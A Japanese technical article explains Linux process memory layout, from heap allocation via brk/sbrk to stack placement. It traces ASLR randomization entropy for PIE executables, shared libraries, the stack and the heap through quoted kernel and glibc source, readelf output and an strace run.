スタック領域のメモリ配置について

スタック領域のメモリ配置も、LinuxカーネルがELF実行ファイルを読み込む際に決められる。 具体的には、binfmt_elf.cのload_elf_binary関数にある次のコードが対応する。

737         /* Do this so that we can load the interpreter, if need be.  We will
738            change some of these later */
739         retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
740                                  executable_stack);
741         if (retval < 0) {
742                 send_sig(SIGKILL, current, 0);
743                 goto out_free_dentry;
744         }
745         
746         current->mm->start_stack = bprm->p;

ASLRが無効な場合、randomize_stack_top(STACK_TOP) == STACK_TOPとなる。 共有ライブラリのパートで示した定義を参照すると、STACK_TOP == TASK_SIZE == 0x7ffffffff000であることがわかる。 これはスタック領域の底となっている。

この後は、setup_arg_pages関数にある次のコードによりスタックサイズが決められ、その分の領域が確保される。

723         stack_expand = 131072UL; /* randomly 32*4k (or 2*64k) pages */
724         stack_size = vma->vm_end - vma->vm_start;
725         /*
726          * Align this down to a page boundary as expand_stack
727          * will align it up.
728          */
729         rlim_stack = rlimit(RLIMIT_STACK) & PAGE_MASK;
730 #ifdef CONFIG_STACK_GROWSUP
731         if (stack_size + stack_expand > rlim_stack)
732                 stack_base = vma->vm_start + rlim_stack;
733         else
734                 stack_base = vma->vm_end + stack_expand;
735 #else
736         if (stack_size + stack_expand > rlim_stack)
737                 stack_base = vma->vm_end - rlim_stack;
738         else
739                 stack_base = vma->vm_start - stack_expand;
740 #endif
741         current->mm->start_stack = bprm->p;
742         ret = expand_stack(vma, stack_base);

ここではstack_expand = 131072UL == 0x20000ULかつrlim_stack == 0x800000であるから、stack_base == vma->vm_start - stack_expandとなる。 これにguard pageとして確保される領域のサイズ0x1000をさらに引くと0x7ffffffde000となり、確認したスタック領域のアドレスと一致する。

ヒープ領域のメモリ配置について

ヒープ領域のベースアドレスは、基本的にはbssセグメントのあるページの次のページとなる。 これは、ヒープ領域がbrkシステムコールを使って確保されるためである。 brkシステムコールはデータセグメントの境界を変更するものであり、ヒープ領域はこの境界を拡張する形で確保される。

ヒープ領域の確保は、初めてmalloc関数が呼ばれたタイミングで行われる。 具体的には、mallocエイリアスであるpublic_mALLOcから、_int_malloc、sYSMALLOcの順の進み、次のコードでメモリ領域が確保されることになる。

  /* Request enough space for nb + pad + overhead */

  size = nb + mp_.top_pad + MINSIZE;

  /*
    If contiguous, we can subtract out existing space that we hope to
    combine with new space. We add it back later only if
    we don't actually get contiguous space.
  */

  if (contiguous(av))
    size -= old_size;

  /*
    Round to a multiple of page size.
    If MORECORE is not contiguous, this ensures that we only call it
    with whole-page arguments.  And if MORECORE is contiguous and
    this is not first time through, this preserves page-alignment of
    previous calls. Otherwise, we correct to page-align below.
  */

  size = (size + pagemask) & ~pagemask;

  /*
    Don't try to call MORECORE if argument is so big as to appear
    negative. Note that since mmap takes size_t arg, it may succeed
    below even if we cannot call MORECORE.
  */

  if (size > 0)
    brk = (char*)(MORECORE(size));

ここで、nb + mp_.top_pad + MINSIZEは「mallocで要求されたサイズ+領域を取得する際のベースサイズ+malloc_chunkの最小サイズ」を意味する。 最初に書いたコードではnb == 20であり、malloc_chunkの定義からMINSIZE == 32である。 そして、mp_.top_padのデフォルト値はDEFAULT_TOP_PADであり、これは次のように定義されている。

#ifndef DEFAULT_TOP_PAD
# define DEFAULT_TOP_PAD 131072
#endif

したがって、size == 20 + 131072 + 32 == 0x20034となり、ページサイズの倍数に揃えられることでこれは0x21000となる。 メモリの確保はMORECORE(size)により行われるが、これに関する定義をまとめると次のようになる。

#define MORECORE         (*__morecore)
void *(*__morecore)(ptrdiff_t) = __default_morecore;
/* Allocate INCREMENT more bytes of data space,
   and return the start of data space, or NULL on errors.
   If INCREMENT is negative, shrink data space.  */
__malloc_ptr_t
__default_morecore (increment)
     __malloc_ptrdiff_t increment;
{
  __malloc_ptr_t result = (__malloc_ptr_t) __sbrk (increment);
  if (result == (__malloc_ptr_t) -1)
    return NULL;
  return result;
}
libc_hidden_def (__default_morecore)
/* Extend the process's data space by INCREMENT.
   If INCREMENT is negative, shrink data space by - INCREMENT.
   Return start of new space allocated, or -1 for errors.  */
void *
__sbrk (intptr_t increment)
{
  void *oldbrk;

  /* If this is not part of the dynamic library or the library is used
     via dynamic loading in a statically linked program update
     __curbrk from the kernel's brk value.  That way two separate
     instances of __brk and __sbrk can share the heap, returning
     interleaved pieces of it.  */
  if (__curbrk == NULL || __libc_multiple_libcs)
    if (__brk (0) < 0)       /* Initialize the break.  */
      return (void *) -1;

  if (increment == 0)
    return __curbrk;

  oldbrk = __curbrk;
  if ((increment > 0
       ? ((uintptr_t) oldbrk + (uintptr_t) increment < (uintptr_t) oldbrk)
       : ((uintptr_t) oldbrk < (uintptr_t) -increment))
      || __brk (oldbrk + increment) < 0)
    return (void *) -1;

  return oldbrk;
}
libc_hidden_def (__sbrk)
weak_alias (__sbrk, sbrk)

つまり、sbrk関数を経由してbrkシステムコールが呼ばれることになる。 brkシステムコールは変更後の境界のアドレスを引数に取る。 一方、sbrk関数は増分を引数に取り、brkシステムコールを2度呼ぶことにより境界のアドレスを増減させる関数である。

setarchコマンドでASLRを無効にした上で、straceコマンドにより実行時のシステムコールをトレースしてみる。

$ setarch x86_64 -R strace ./a.out >/dev/null
execve("./a.out", ["./a.out"], [/* 18 vars */]) = 0
...
brk(0)                                  = 0x602000
brk(0x623000)                           = 0x623000
fstat(1, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 3), ...}) = 0
ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fffffffe478) = -1 ENOTTY (Inappropriate ioctl for device)
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff7000
write(1, "Hello, world!\n", 14)         = 14
exit_group(0)                           = ?

上の結果から、mallocが呼ばれるタイミングでbrkシステムコールが2度呼ばれ、0x21000だけヒープ領域が確保されていることがわかる。 具体的には、一度目のbrkで現在の境界アドレスを取得し、二度目のbrkで増減後の境界アドレスがセットされている。

ASLRによるアドレスのランダム化

基本的に、binfmt_elf.cのload_elf_binary関数でELFファイルが読み込まれる際に行われる。

PIEの場合の実行ファイル

load_elf_binary関数の次の箇所が関係する。

795                 vaddr = elf_ppnt->p_vaddr;
796                 if (loc->elf_ex.e_type == ET_EXEC || load_addr_set) {
797                         elf_flags |= MAP_FIXED;
798                 } else if (loc->elf_ex.e_type == ET_DYN) {
799                         /* Try and get dynamic programs out of the way of the
800                          * default mmap base, as well as whatever program they
801                          * might try to exec.  This is because the brk will
802                          * follow the loader, and is not movable.  */
803 #ifdef CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE
804                         /* Memory randomization might have been switched off
805                          * in runtime via sysctl or explicit setting of
806                          * personality flags.
807                          * If that is the case, retain the original non-zero
808                          * load_bias value in order to establish proper
809                          * non-randomized mappings.
810                          */
811                         if (current->flags & PF_RANDOMIZE)
812                                 load_bias = 0;
813                         else
814                                 load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);
815 #else
816                         load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);
817 #endif
818                 }
819 
820                 error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,
821                                 elf_prot, elf_flags, 0);
822                 if (BAD_ADDR(error)) {
823                         send_sig(SIGKILL, current, 0);
824                         retval = IS_ERR((void *)error) ?
825                                 PTR_ERR((void*)error) : -EINVAL;
826                         goto out_free_dentry;
827                 }

これはELFのプログラムヘッダでタイプがPT_LOADとなっているエントリを読み込む箇所である。 PIEの場合ELF自身のタイプはET_DYNとなるため、load_biasは0となる。 そして、次に示すelf_map関数から、mmapによってメモリ領域が確保される。

335 static unsigned long elf_map(struct file *filep, unsigned long addr,
336                 struct elf_phdr *eppnt, int prot, int type,
337                 unsigned long total_size)
338 {
339         unsigned long map_addr;
340         unsigned long size = eppnt->p_filesz + ELF_PAGEOFFSET(eppnt->p_vaddr);
341         unsigned long off = eppnt->p_offset - ELF_PAGEOFFSET(eppnt->p_vaddr);
342         addr = ELF_PAGESTART(addr);
343         size = ELF_PAGEALIGN(size);
344 
345         /* mmap() will return -EINVAL if given a zero size, but a
346          * segment with zero filesize is perfectly valid */
347         if (!size)
348                 return addr;
349 
350         /*
351         * total_size is the size of the ELF (interpreter) image.
352         * The _first_ mmap needs to know the full size, otherwise
353         * randomization might put this image into an overlapping
354         * position with the ELF binary image. (since size < total_size)
355         * So we first map the 'big' image - and unmap the remainder at
356         * the end. (which unmap is needed for ELF images with holes.)
357         */
358         if (total_size) {
359                 total_size = ELF_PAGEALIGN(total_size);
360                 map_addr = vm_mmap(filep, addr, total_size, prot, type, off);
361                 if (!BAD_ADDR(map_addr))
362                         vm_munmap(map_addr+size, total_size-size);
363         } else
364                 map_addr = vm_mmap(filep, addr, size, prot, type, off);
365 
366         return(map_addr);
367 }

ここで、PIEでコンパイルした実行ファイルのプログラムヘッダを調べてみる。

$ gcc -fPIE -pie hello.c

$ readelf -l a.out

Elf file type is DYN (Shared object file)
Entry point 0x6c0
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP         0x0000000000000238 0x0000000000000238 0x0000000000000238
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x00000000000009cc 0x00000000000009cc  R E    200000
  LOAD           0x0000000000000e00 0x0000000000200e00 0x0000000000200e00
                 0x0000000000000238 0x0000000000000248  RW     200000
  DYNAMIC        0x0000000000000e28 0x0000000000200e28 0x0000000000200e28
                 0x0000000000000190 0x0000000000000190  RW     8
  NOTE           0x0000000000000254 0x0000000000000254 0x0000000000000254
                 0x0000000000000044 0x0000000000000044  R      4
  GNU_EH_FRAME   0x00000000000008fc 0x00000000000008fc 0x00000000000008fc
                 0x000000000000002c 0x000000000000002c  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     8
  GNU_RELRO      0x0000000000000e00 0x0000000000200e00 0x0000000000200e00
                 0x0000000000000200 0x0000000000000200  R      1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .ctors .dtors .jcr .dynamic .got

LOADとなっているエントリは二つあり、それぞれ実行可能領域、実行不可領域に対応している。 また、VirtAddr (vaddr)、FileSiz (size) はそれぞれ0、0x9ccおよび0x200e00、0x238となっている。

したがって、ページ境界へのアラインメントも考慮すると、まずaddr = mmap(0, 0x1000, ...)に相当する処理が呼ばれることになる。 この後、load_addr_set = 1およびload_bias = addrが行われるため、次のPT_LOADエントリについてはelf_flagsにMAP_FIXEDがセットされた上でmmap(load_bias + 0x200000, 0x1000, ...)が呼ばれる。 よって、ランダム化が行われるbit数はmmapで確保される場合のbit数と同じである。 具体的なbit数については次で説明する。

共有ライブラリなどmmapで確保される領域

load_elf_binary関数から、setup_new_exec関数、arch_pick_mmap_layout関数、mmap_base関数の順に進みランダム化される。 32bit環境の場合8bit、64bit環境の場合28bit。

735         setup_new_exec(bprm);
1103         arch_pick_mmap_layout(current->mm);
 68 static unsigned long mmap_rnd(void)
 69 {
 70         unsigned long rnd = 0;
 71 
 72         /*
 73         *  8 bits of randomness in 32bit mmaps, 20 address space bits
 74         * 28 bits of randomness in 64bit mmaps, 40 address space bits
 75         */
 76         if (current->flags & PF_RANDOMIZE) {
 77                 if (mmap_is_ia32())
 78                         rnd = get_random_int() % (1<<8);
 79                 else
 80                         rnd = get_random_int() % (1<<28);
 81         }
 82         return rnd << PAGE_SHIFT;
 83 }
 84 
 85 static unsigned long mmap_base(void)
 86 {
 87         unsigned long gap = rlimit(RLIMIT_STACK);
 88 
 89         if (gap < MIN_GAP)
 90                 gap = MIN_GAP;
 91         else if (gap > MAX_GAP)
 92                 gap = MAX_GAP;
 93 
 94         return PAGE_ALIGN(TASK_SIZE - gap - mmap_rnd());
 95 }
    ...
109 /*
110  * This function, called very early during the creation of a new
111  * process VM image, sets up which VM layout function to use:
112  */
113 void arch_pick_mmap_layout(struct mm_struct *mm)
114 {
115         mm->mmap_legacy_base = mmap_legacy_base();
116         mm->mmap_base = mmap_base();
117 
118         if (mmap_is_legacy()) {
119                 mm->mmap_base = mm->mmap_legacy_base;
120                 mm->get_unmapped_area = arch_get_unmapped_area;
121         } else {
122                 mm->get_unmapped_area = arch_get_unmapped_area_topdown;
123         }
124 }

スタック領域

load_elf_binary関数において、randomize_stack_top関数によりページ単位でランダム化が行われる。 ただし、ランダム値がunsigned intすなわち32bit符号なし整数として定義されているため、ランダム化の上限は20bitとなる。 さらに、setup_arg_pages関数内で、arch_align_stack関数によりランダム化が行われるが、ページ境界へのアラインメントが行われるため全体には影響しない。 32bit環境の場合11bit、64bit環境の場合20bit。

555 static unsigned long randomize_stack_top(unsigned long stack_top)
556 {
557         unsigned int random_variable = 0;
558 
559         if ((current->flags & PF_RANDOMIZE) &&
560                 !(current->personality & ADDR_NO_RANDOMIZE)) {
561                 random_variable = get_random_int() & STACK_RND_MASK;
562                 random_variable <<= PAGE_SHIFT;
563         }
564 #ifdef CONFIG_STACK_GROWSUP
565         return PAGE_ALIGN(stack_top) + random_variable;
566 #else
567         return PAGE_ALIGN(stack_top) - random_variable;
568 #endif
569 }
570 
571 static int load_elf_binary(struct linux_binprm *bprm)
572 {
            ...
737         /* Do this so that we can load the interpreter, if need be.  We will
738            change some of these later */
739         retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
740                                  executable_stack);
741         if (retval < 0) {
742                 send_sig(SIGKILL, current, 0);
743                 goto out_free_dentry;
744         }
745         
746         current->mm->start_stack = bprm->p;
            ...
1007 }
675         stack_top = arch_align_stack(stack_top);
676         stack_top = PAGE_ALIGN(stack_top);
677 
678         if (unlikely(stack_top < mmap_min_addr) ||
679             unlikely(vma->vm_end - vma->vm_start >= stack_top - mmap_min_addr))
680                 return -ENOMEM;
681 
682         stack_shift = vma->vm_end - stack_top;
683 
684         bprm->p -= stack_shift;
685         mm->arg_start = bprm->p;
456 unsigned long arch_align_stack(unsigned long sp)
457 {
458         if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
459                 sp -= get_random_int() % 8192;
460         return sp & ~0xf;
461 }
290 /* 1GB for 64bit, 8MB for 32bit */
291 #define STACK_RND_MASK (test_thread_flag(TIF_ADDR32) ? 0x7ff : 0x3fffff)
  8 #define PAGE_SHIFT      12
  9 #define PAGE_SIZE       (_AC(1,UL) << PAGE_SHIFT)
 73 #define PAGE_ALIGN(addr) ALIGN(addr, PAGE_SIZE)
 49 #define ALIGN(x, a)             __ALIGN_KERNEL((x), (a))
  9 #define __ALIGN_KERNEL(x, a)            __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
 10 #define __ALIGN_KERNEL_MASK(x, mask)    (((x) + (mask)) & ~(mask))

ヒープ領域

load_elf_binary関数において、arch_randomize_brk関数によってランダム化される。 32bit環境、64bit環境どちらの場合も13bit。

957 #ifdef arch_randomize_brk
958         if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
959                 current->mm->brk = current->mm->start_brk =
960                         arch_randomize_brk(current->mm);
961 #ifdef CONFIG_COMPAT_BRK
962                 current->brk_randomized = 1;
963 #endif
964         }
965 #endif
463 unsigned long arch_randomize_brk(struct mm_struct *mm)
464 {
465         unsigned long range_end = mm->brk + 0x02000000;
466         return randomize_range(mm->brk, range_end, 0) ? : mm->brk;
467 }
1691 /*
1692  * randomize_range() returns a start address such that
1693  *
1694  *    [...... <range> .....]
1695  *  start                  end
1696  *
1697  * a <range> with size "len" starting at the return value is inside in the
1698  * area defined by [start, end], but is otherwise randomized.
1699  */
1700 unsigned long
1701 randomize_range(unsigned long start, unsigned long end, unsigned long len)
1702 {
1703         unsigned long range = end - len - start;
1704 
1705         if (end <= start + len)
1706                 return 0;
1707         return PAGE_ALIGN(get_random_int() % range + start);
1708 }

ランダム化bit数のまとめ

PIE実行ファイル
共有ライブラリ
スタック領域ヒープ領域
32bit8bit11bit13bit
64bit28bit20bit13bit

関連リンク